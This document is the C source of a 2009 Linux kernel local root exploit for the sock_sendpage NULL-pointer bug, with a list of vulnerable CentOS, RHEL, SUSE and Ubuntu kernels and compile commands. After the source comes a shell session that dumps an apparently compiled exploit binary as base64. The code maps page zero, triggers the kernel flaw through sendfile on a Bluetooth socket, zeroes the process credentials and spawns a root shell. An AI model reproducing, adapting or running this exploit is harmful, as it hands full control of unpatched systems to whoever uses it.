* vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc
* and ppc64.
*
* This exploit makes use of the SELinux and the mmap_min_addr problem to
* exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
* The problem, first noticed by Brad Spengler, was described by Red Hat in
* Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and
* the mmap_min_addr protection[2].
*
* Support for i386 and x86_64 was added for completeness. For a more complete
* implementation, refer to Brad Spengler's exploit[3], which also implements
* the personality trick[4] published by Tavis Ormandy and Julien Tinnes.
*
* Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4
* are vulnerable.
*
* This exploit was tested on:
*
* CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
* CentOS 5.3 (2.6.18-128.4.1.el5)
* CentOS 5.3 (2.6.18-128.2.1.el5)
* CentOS 5.3 (2.6.18-128.1.16.el5)
* CentOS 5.3 (2.6.18-128.1.14.el5)
* CentOS 5.3 (2.6.18-128.1.10.el5)
* CentOS 5.3 (2.6.18-128.1.6.el5)
* CentOS 5.3 (2.6.18-128.1.1.el5)
* CentOS 5.3 (2.6.18-128.el5)
* CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
* CentOS 4.8 (2.6.9-89.0.7.EL)
* CentOS 4.8 (2.6.9-89.0.3.EL)
* CentOS 4.8 (2.6.9-89.EL)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
* Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
* SUSE Linux Enterprise Server 11 (2.6.27.19-5)
* SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
* Ubuntu 8.10 (2.6.27-14) is not vulnerable
* Ubuntu 8.10 (2.6.27-11)
* Ubuntu 8.10 (2.6.27-9)
* Ubuntu 8.10 (2.6.27-7)
*
* For i386 and ppc, compile with the following command:
* gcc -Wall -o linux-sendpage linux-sendpage.c
*
* And for x86_64 and ppc64:
* gcc -Wall -m64 -o linux-sendpage linux-sendpage.c
*
* [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
* [2] http://kbase.redhat.com/faq/docs/DOC-18042
* [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz
* [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movq %%rsp,%0; " : "=r" (sp));
return sp;
}
#else
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("movl %%esp,%0" : "=r" (sp));
return sp;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
unsigned long sp;
asm volatile ("mr %0,%%r1; " : "=r" (sp));
return sp;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct;
asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));
return task_struct;
}
#else
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
thread_info = current_stack_pointer() & ~(4096 - 1);
if (*(unsigned long *)thread_info >= 0xc0000000) {
task_struct = *(unsigned long *)thread_info;
/*
* The TASK_RUNNING is the only possible state for a process executing
* in user-space.
*/
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
}
/*
* Prior to the 2.6 kernel series, the task_struct was stored at the end
* of the kernel stack.
*/
task_struct = current_stack_pointer() & ~(8192 - 1);
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0
static __always_inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
#if defined(__LP64__)
task_struct = current_stack_pointer() & ~(16384 - 1);
#else
task_struct = current_stack_pointer() & ~(8192 - 1);
#endif
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
#endif
#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
unsigned int *task_struct;
task_struct = (unsigned int *)current_task_struct();
while (task_struct) {
if (!task_struct[0]) {
task_struct++;
continue;
}
if (task_struct[0] == task_struct[1] &&
task_struct[0] == task_struct[2] &&
task_struct[0] == task_struct[3] &&
task_struct[4] == task_struct[5] &&
task_struct[4] == task_struct[6] &&
task_struct[4] == task_struct[7]) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}
task_struct++;
}
return -1;
}
#endif
#define PAGE_SIZE getpagesize()
int
main(void)
{
char *addr;
int out_fd, in_fd;
char template[] = "/tmp/tmp.XXXXXX";
#if defined(__i386__) || defined(__x86_64__)
uid = getuid(), gid = getgid();
#endif
if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
addr[0] = '\xff';
addr[1] = '\x24';
addr[2] = '\x25';
*(unsigned long *)&addr[3] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#else
addr[0] = '\xff';
addr[1] = '\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)change_cred;
#endif
#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
/*
* The use of function descriptors by the Power 64-bit ELF ABI requires
* the use of a fake function descriptor.
*/
*(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
#else
addr[0] = '\x3f';
addr[1] = '\xe0';
*(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
addr[4] = '\x63';
addr[5] = '\xff';
*(unsigned short *)&addr[6] = (unsigned short)change_cred;
addr[8] = '\x7f';
addr[9] = '\xe9';
addr[10] = '\x03';
addr[11] = '\xa6';
addr[12] = '\x4e';
addr[13] = '\x80';
addr[14] = '\x04';
addr[15] = '\x20';
#endif
#endif
if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
if ((in_fd = mkstemp(template)) == -1) {
perror("mkstemp");
exit(EXIT_FAILURE);
}
if(unlink(template) == -1) {
perror("unlink");
exit(EXIT_FAILURE);
}
if (ftruncate(in_fd, PAGE_SIZE) == -1) {
perror("ftruncate");
exit(EXIT_FAILURE);
}
sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
execl("/bin/sh", "sh", "-i", NULL);
exit(EXIT_SUCCESS);
}
// milw0rm.com [2009-08-31]
---
-rwxr-xr-x 1 boldi users 9992 2024-06-27 22:19 9545
boldi@linux-xm7e:~/h> base64 9545
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAcIUECDQAAAC8FwAAAAAAADQAIAAJACgAJQAiAAYAAAA0
AAAANIAECDSABAggAQAAIAEAAAUAAAAEAAAAAwAAAFQBAABUgQQIVIEECBMAAAATAAAABAAAAAEA
AAABAAAAAAAAAACABAgAgAQIqAoAAKgKAAAFAAAAABAAAAEAAAAUDwAAFJ8ECBSfBAgwAQAAPAEA
AAYAAAAAEAAAAgAAACgPAAAonwQIKJ8ECMgAAADIAAAABgAAAAQAAAAEAAAAaAEAAGiBBAhogQQI
IAAAACAAAAAEAAAABAAAAAQAAACIAQAAiIEECIiBBAgYAAAAGAAAAAQAAAAEAAAAUeV0ZAAAAAAA
AAAAAAAAAAAAAAAAAAAABgAAAAQAAABS5XRkFA8AABSfBAgUnwQI7AAAAOwAAAAEAAAAAQAAAC9s
aWIvbGQtbGludXguc28uMgAABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAAAQAAAAFAAAABAAA
AFN1U0VTdVNFAAAAAAEACgIDAAAAEAAAAA0AAAAPAAAACQAAAAAAAAAAAAAAAAAAAAEAAAADAAAA
AgAAAAUAAAAEAAAAAAAAAAgAAAAGAAAABwAAAAsAAAAMAAAACgAAAA4AAAAAAAAAAAAAAAAAAAAA
AAAAaQAAAAAAAAAjAAAAEgAAAGQAAAAAAAAAZwAAABIAAABMAAAAAAAAAEsAAAASAAAAAQAAAAAA
AAAAAAAAIAAAAIMAAAAAAAAAnwEAABIAAAA1AAAAAAAAAFsBAAASAAAARQAAAAAAAADTAAAAEgAA
ABoAAABcigQIBAAAABEADwBcAAAAAAAAACsAAAASAAAAKQAAAAAAAABCAAAAEgAAAFUAAAAAAAAA
PwAAABIAAAB8AAAAAAAAABEAAAASAAAAOwAAAAAAAABDAAAAEgAAADAAAAAAAAAA4gAAABIAAAB1
AAAAAAAAABEAAAASAAAAAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBfSU9fc3RkaW5fdXNlZABz
b2NrZXQAZXhpdABleGVjbABmdHJ1bmNhdGUAcGVycm9yAHNlbmRmaWxlAHVubGluawBta3N0ZW1w
AG1tYXAAZ2V0cGFnZXNpemUAZ2V0Z2lkAGdldHVpZABfX2xpYmNfc3RhcnRfbWFpbgBHTElCQ18y
LjEAR0xJQkNfMi4wAAAAAAIAAgADAAAAAgACAAIAAQACAAIAAgACAAIAAgACAAAAAQACABAAAAAQ
AAAAAAAAABFpaQ0AAAMAlQAAABAAAAAQaWkNAAACAJ8AAAAAAAAA8J8ECAYEAAAAoAQIBwEAAASg
BAgHAgAACKAECAcDAAAMoAQIBwQAABCgBAgHBQAAFKAECAcGAAAYoAQIBwcAABygBAgHCQAAIKAE
CAcKAAAkoAQIBwsAACigBAgHDAAALKAECAcNAAAwoAQIBw4AADSgBAgHDwAAVYnlg+wI6CEBAADo
eAEAAOiTBQAAycMA/zX4nwQI/yX8nwQIAAAAAP8lAKAECGgAAAAA6eD/////JQSgBAhoCAAAAOnQ
/////yUIoAQIaBAAAADpwP////8lDKAECGgYAAAA6bD/////JRCgBAhoIAAAAOmg/////yUUoAQI
aCgAAADpkP////8lGKAECGgwAAAA6YD/////JRygBAhoOAAAAOlw/////yUgoAQIaEAAAADpYP//
//8lJKAECGhIAAAA6VD/////JSigBAhoUAAAAOlA/////yUsoAQIaFgAAADpMP////8lMKAECGhg
AAAA6SD/////JTSgBAhoaAAAAOkQ////Me1eieGD5PBQVFJokIkECGigiQQIUVZosocECOg/////
9JCQVYnlU4PsBOgAAAAAW4HDVBoAAIuT/P///4XSdAXoCv///1hbycOQkJCQkJBVieWD7AiAPUSg
BAgAdAzrHIPABKNAoAQI/9KhQKAECIsQhdJ168YFRKAECAHJw5BVieWD7AihJJ8ECIXAdBK4AAAA
AIXAdAnHBCQknwQI/9DJw5BVieVXVlOD7CiJ4IlF7ItF7CUA8P//iUXki0XkiwA9////v3YZi0Xk
iwCJReiLReiLAIXAdQiLReiJRdDrR4ngiUXwi0XwJQDg//+JReiLReiLAIXAdQiLVeiJVdDrJotF
6IlF5ItF5IsAiUXoi0XoiwCFwHUIi0XoiUXQ6wfHRdD/////i0XQiUXg6fcAAACLReCLEKFIoAQI
OcIPheEAAACLReCDwASLEKFIoAQIOcIPhcwAAACLReCDwAiLEKFIoAQIOcIPhbcAAACLReCDwAyL
EKFIoAQIOcIPhaIAAACLReCDwBCLEKFMoAQIOcIPhY0AAACLReCDwBSLEKFMoAQIOcJ1fItF4IPA
GIsQoUygBAg5wnVri0Xgg8AcixChTKAECDnCdVqLfeCDxwSLVeCDwgiJVcyLTeCDwQyLXeCDwxCL
deCDxhSLVeCDwhiLReCDwBzHAAAAAACLAIkCiwKJBosGiQOLA4kBiwGLVcyJAotVzIsCiQeLF4tF
4IkQ6w6DReAEg33gAA+F//7//7j/////g8QoW15fXcONTCQEg+Tw/3H8VYnlUYPsRKGTigQIiUXg
oZeKBAiJReShm4oECIlF6KGfigQIiUXs6Ej9//+jSKAECOhu/f//o0ygBAjHRCQUAAAAAMdEJBAA
AAAAx0QkDDIAAADHRCQIBwAAAMdEJAQAEAAAxwQkAAAAAOh1/P//iUXwg33w/3UYxwQkYIoECOiw
/P//xwQkAQAAAOgE/f//i0XwxgD/i0Xwg8ABxgAli0Xwg8ACxwAIAAAAi0Xwg8AIicK4FIYECIkC
x0QkCAAAAADHRCQEAgAAAMcEJB8AAADofvz//4lF9IN99P91GMcEJGWKBAjoSfz//8cEJAEAAADo
nfz//41F4IkEJOhC/P//iUX4g334/3UYxwQkbIoECOgd/P//xwQkAQAAAOhx/P//jUXgiQQk6Db8
//+D+P91GMcEJHSKBAjo9fv//8cEJAEAAADoSfz//+iE+///iUQkBItF+IkEJOgl/P//g/j/dRjH
BCR7igQI6MT7///HBCQBAAAA6Bj8///oU/v//4lEJAzHRCQIAAAAAItF+IlEJASLRfSJBCToVfv/
/8dEJAwAAAAAx0QkCIWKBAjHRCQEiIoECMcEJIuKBAjoYfv//8cEJAAAAADoxfv//5CQkJCQVYnl
XcONdCYAjbwnAAAAAFWJ5VdWU+heAAAAgcNJFgAAg+wc6K/6//+NgyD///+JRfCNgyD///8pRfDB
ffACi1XwhdJ0KzH/icaNtgAAAACLRRCDxwGJRCQIi0UMiUQkBItFCIkEJP8Wg8YEOX3wdd+DxBxb
Xl9dw4scJMOQkJBVieVTg+wEoRSfBAiD+P90EjHb/9CLgxCfBAiD6wSD+P918IPEBFtdw5CQkFWJ
5VOD7AToAAAAAFuBw6wVAADobPv//1lbycMDAAAAAQACAG1tYXAAc29ja2V0AG1rc3RlbXAAdW5s
aW5rAGZ0cnVuY2F0ZQAtaQBzaAAvYmluL3NoAC90bXAvdG1wLlhYWFhYWAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA
AAAAAAEAAAAQAAAADAAAAGiEBAgNAAAAPIoECAQAAACggQQIBQAAAPSCBAgGAAAA9IEECAoAAACp
AAAACwAAABAAAAAVAAAAAAAAAAMAAAD0nwQIAgAAAHAAAAAUAAAAEQAAABcAAAD4gwQIEQAAAPCD
BAgSAAAACAAAABMAAAAIAAAA/v//b8CDBAj///9vAQAAAPD//2+egwQIAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACifBAgAAAAAAAAAAJaEBAimhAQI
toQECMaEBAjWhAQI5oQECPaEBAgGhQQIFoUECCaFBAg2hQQIRoUECFaFBAhmhQQIAAAAAAAAAAAg
nwQIAEdDQzogKEdOVSkgNC4xLjIgMjAwNjExMTUgKHByZXJlbGVhc2UpIChTVVNFIExpbnV4KQAA
R0NDOiAoR05VKSA0LjEuMiAyMDA2MTExNSAocHJlcmVsZWFzZSkgKFNVU0UgTGludXgpAABHQ0M6
IChHTlUpIDQuMS4yIDIwMDYxMTE1IChwcmVyZWxlYXNlKSAoU1VTRSBMaW51eCkAAEdDQzogKEdO
VSkgNC4xLjIgMjAwNjExMTUgKHByZXJlbGVhc2UpIChTVVNFIExpbnV4KQAAR0NDOiAoR05VKSA0
LjEuMiAyMDA2MTExNSAocHJlcmVsZWFzZSkgKFNVU0UgTGludXgpAABHQ0M6IChHTlUpIDQuMS4y
IDIwMDYxMTE1IChwcmVyZWxlYXNlKSAoU1VTRSBMaW51eCkAAEdDQzogKEdOVSkgNC4xLjIgMjAw
NjExMTUgKHByZXJlbGVhc2UpIChTVVNFIExpbnV4KQAALAAAAAIAkQAAAAQAAAAAAJSFBAgmAAAA
aIQECAsAAAA8igQIEwAAAAAAAAAAAAAAJAAAAAIAFQEAAAQAAAAAAH2EBAgCAAAAVIoECAQAAAAA
AAAAAAAAACEAAAACAAAAAACRAAAAeQAAAF9JT19zdGRpbl91c2VkAAAAAACNAAAAAgAAAAAABAEA
AAAAlIUECJSFBAgAAAAAAS8AAACGAAAAAmYAAAAEBwJOAAAAAQgCcwAAAAIHAmEAAAAEBwJQAAAA
AQYCNgAAAAIFA2ludAAEBQJAAAAACAUCXAAAAAgHAkUAAAAEBQJmAAAABAcCVwAAAAEGBKwAAAAB
GYsAAAABBQNcigQIBU8AAAAAgAAAAAIAQgAAAAQBJwAAAAAAAAAvdXNyL3NyYy9wYWNrYWdlcy9C
VUlMRC9nbGliYy0yLjUvY2MtbnB0bC9jc3UvY3J0aS5TAC91c3Ivc3JjL3BhY2thZ2VzL0JVSUxE
L2dsaWJjLTIuNS9jc3UAR05VIEFTIDIuMTcuNTAuMC41AAGAgAAAAAIAVAAAAAQBwAAAACgAAAAv
dXNyL3NyYy9wYWNrYWdlcy9CVUlMRC9nbGliYy0yLjUvY2MtbnB0bC9jc3UvY3J0bi5TAC91c3Iv
c3JjL3BhY2thZ2VzL0JVSUxEL2dsaWJjLTIuNS9jc3UAR05VIEFTIDIuMTcuNTAuMC41AAGAAREB
EAYSAREBJQ4TCwMOGw4AAAIkAAMOCws+CwAAAyQAAwgLCz4LAAAENAADDjoLOwtJEz8MAgoAAAUm
AEkTAAAAAREAEAZVBgMIGwglCBMFAAAAAREAEAZVBgMIGwglCBMFAAAAIwAAAAIAHQAAAAEB+w4N
AAEBAQEAAAABAAABAGluaXQuYwAAAAAAlQAAAAIASwAAAAEB+w4NAAEBAQEAAAABAAABL3Vzci9z
cmMvcGFja2FnZXMvQlVJTEQvZ2xpYmMtMi41L2NjLW5wdGwvY3N1AABjcnRpLlMAAQAAAAAFApSF
BAgDCwEhLyE9WiFnZy8vWiEhIQIBAAEBAAUCaIQECAMjASEvPQIFAAEBAAUCPIoECAMzASEvIT1a
IQIGAAEBcwAAAAIASwAAAAEB+w4NAAEBAQEAAAABAAABL3Vzci9zcmMvcGFja2FnZXMvQlVJTEQv
Z2xpYmMtMi41L2NjLW5wdGwvY3N1AABjcnRuLlMAAQAAAAAFAn2EBAgDCQEhAgEAAQEABQJUigQI
AxIBISEhAgEAAQFHTlUgQyA0LjEuMiAyMDA2MTExNSAocHJlcmVsZWFzZSkgKFNVU0UgTGludXgp
AGluaXQuYwBzaG9ydCBpbnQAbG9uZyBsb25nIGludAB1bnNpZ25lZCBjaGFyAGxvbmcgbG9uZyB1
bnNpZ25lZCBpbnQAc2hvcnQgdW5zaWduZWQgaW50AC91c3Ivc3JjL3BhY2thZ2VzL0JVSUxEL2ds
aWJjLTIuNS9jc3UAX0lPX3N0ZGluX3VzZWQAAAD/////AAAAAJSFBAi6hQQIaIQECHOEBAg8igQI
T4oECAAAAAAAAAAA/////wAAAAB9hAQIf4QECFSKBAhYigQIAAAAAAAAAAAALnN5bXRhYgAuc3Ry
dGFiAC5zaHN0cnRhYgAuaW50ZXJwAC5ub3RlLkFCSS10YWcALm5vdGUuU3VTRQAuaGFzaAAuZHlu
c3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUudmVyc2lvbl9yAC5yZWwuZHluAC5yZWwucGx0
AC5pbml0AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5jdG9ycwAu
ZHRvcnMALmpjcgAuZHluYW1pYwAuZ290AC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQALmRl
YnVnX2FyYW5nZXMALmRlYnVnX3B1Ym5hbWVzAC5kZWJ1Z19pbmZvAC5kZWJ1Z19hYmJyZXYALmRl
YnVnX2xpbmUALmRlYnVnX3N0cgAuZGVidWdfcmFuZ2VzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAbAAAAAQAAAAIAAABUgQQIVAEAABMAAAAAAAAAAAAAAAEAAAAAAAAA
IwAAAAcAAAACAAAAaIEECGgBAAAgAAAAAAAAAAAAAAAEAAAAAAAAADEAAAAHAAAAAgAAAIiBBAiI
AQAAGAAAAAAAAAAAAAAABAAAAAAAAAA8AAAABQAAAAIAAACggQQIoAEAAFQAAAAFAAAAAAAAAAQA
AAAEAAAAQgAAAAsAAAACAAAA9IEECPQBAAAAAQAABgAAAAEAAAAEAAAAEAAAAEoAAAADAAAAAgAA
APSCBAj0AgAAqQAAAAAAAAAAAAAAAQAAAAAAAABSAAAA////bwIAAACegwQIngMAACAAAAAFAAAA
AAAAAAIAAAACAAAAXwAAAP7//28CAAAAwIMECMADAAAwAAAABgAAAAEAAAAEAAAAAAAAAG4AAAAJ
AAAAAgAAAPCDBAjwAwAACAAAAAUAAAAAAAAABAAAAAgAAAB3AAAACQAAAAIAAAD4gwQI+AMAAHAA
AAAFAAAADAAAAAQAAAAIAAAAgAAAAAEAAAAGAAAAaIQECGgEAAAXAAAAAAAAAAAAAAAEAAAAAAAA
AHsAAAABAAAABgAAAICEBAiABAAA8AAAAAAAAAAAAAAABAAAAAQAAACGAAAAAQAAAAYAAABwhQQI
cAUAAMwEAAAAAAAAAAAAABAAAAAAAAAAjAAAAAEAAAAGAAAAPIoECDwKAAAcAAAAAAAAAAAAAAAE
AAAAAAAAAJIAAAABAAAAAgAAAFiKBAhYCgAASwAAAAAAAAAAAAAABAAAAAAAAACaAAAAAQAAAAIA
AACkigQIpAoAAAQAAAAAAAAAAAAAAAQAAAAAAAAApAAAAA4AAAADAAAAFJ8ECEQQAAAAAAAAAAAA
AAAAAAABAAAAAAAAALAAAAABAAAAAwAAABSfBAgUDwAACAAAAAAAAAAAAAAABAAAAAAAAAC3AAAA
AQAAAAMAAAAcnwQIHA8AAAgAAAAAAAAAAAAAAAQAAAAAAAAAvgAAAAEAAAADAAAAJJ8ECCQPAAAE
AAAAAAAAAAAAAAAEAAAAAAAAAMMAAAAGAAAAAwAAACifBAgoDwAAyAAAAAYAAAAAAAAABAAAAAgA
AADMAAAAAQAAAAMAAADwnwQI8A8AAAQAAAAAAAAAAAAAAAQAAAAEAAAA0QAAAAEAAAADAAAA9J8E
CPQPAABEAAAAAAAAAAAAAAAEAAAABAAAANoAAAABAAAAAwAAADigBAg4EAAADAAAAAAAAAAAAAAA
BAAAAAAAAADgAAAACAAAAAMAAABEoAQIRBAAAAwAAAAAAAAAAAAAAAQAAAAAAAAA5QAAAAEAAAAA
AAAAAAAAAEQQAABzAQAAAAAAAAAAAAABAAAAAAAAAO4AAAABAAAAAAAAAAAAAAC4EQAAWAAAAAAA
AAAAAAAACAAAAAAAAAD9AAAAAQAAAAAAAAAAAAAAEBIAACUAAAAAAAAAAAAAAAEAAAAAAAAADQEA
AAEAAAAAAAAAAAAAADUSAACZAQAAAAAAAAAAAAABAAAAAAAAABkBAAABAAAAAAAAAAAAAADOEwAA
ZgAAAAAAAAAAAAAAAQAAAAAAAAAnAQAAAQAAAAAAAAAAAAAANBQAADcBAAAAAAAAAAAAAAEAAAAA
AAAAMwEAAAEAAAAwAAAAAAAAAGsVAAC7AAAAAAAAAAAAAAABAAAAAQAAAD4BAAABAAAAAAAAAAAA
AAAoFgAASAAAAAAAAAAAAAAACAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAcBYAAEwBAAAAAAAAAAAA
AAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAIQdAADwBQAAJAAAAEEAAAAEAAAAEAAAAAkAAAADAAAA
AAAAAAAAAAB0IwAAlAMAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFSBBAgA
AAAAAwABAAAAAABogQQIAAAAAAMAAgAAAAAAiIEECAAAAAADAAMAAAAAAKCBBAgAAAAAAwAEAAAA
AAD0gQQIAAAAAAMABQAAAAAA9IIECAAAAAADAAYAAAAAAJ6DBAgAAAAAAwAHAAAAAADAgwQIAAAA
AAMACAAAAAAA8IMECAAAAAADAAkAAAAAAPiDBAgAAAAAAwAKAAAAAABohAQIAAAAAAMACwAAAAAA
gIQECAAAAAADAAwAAAAAAHCFBAgAAAAAAwANAAAAAAA8igQIAAAAAAMADgAAAAAAWIoECAAAAAAD
AA8AAAAAAKSKBAgAAAAAAwAQAAAAAAAUnwQIAAAAAAMAEQAAAAAAFJ8ECAAAAAADABIAAAAAAByf
BAgAAAAAAwATAAAAAAAknwQIAAAAAAMAFAAAAAAAKJ8ECAAAAAADABUAAAAAAPCfBAgAAAAAAwAW
AAAAAAD0nwQIAAAAAAMAFwAAAAAAOKAECAAAAAADABgAAAAAAESgBAgAAAAAAwAZAAAAAAAAAAAA
AAAAAAMAGgAAAAAAAAAAAAAAAAADABsAAAAAAAAAAAAAAAAAAwAcAAAAAAAAAAAAAAAAAAMAHQAA
AAAAAAAAAAAAAAADAB4AAAAAAAAAAAAAAAAAAwAfAAAAAAAAAAAAAAAAAAMAIAAAAAAAAAAAAAAA
AAADACEAAQAAAAAAAAAAAAAABADx/wwAAAAAAAAAAAAAAAQA8f8YAAAAAAAAAAAAAAAEAPH/NAAA
AAAAAAAAAAAABADx/zsAAAAAAAAAAAAAAAQA8f9GAAAAAAAAAAAAAAAEAPH/ewAAAJSFBAgAAAAA
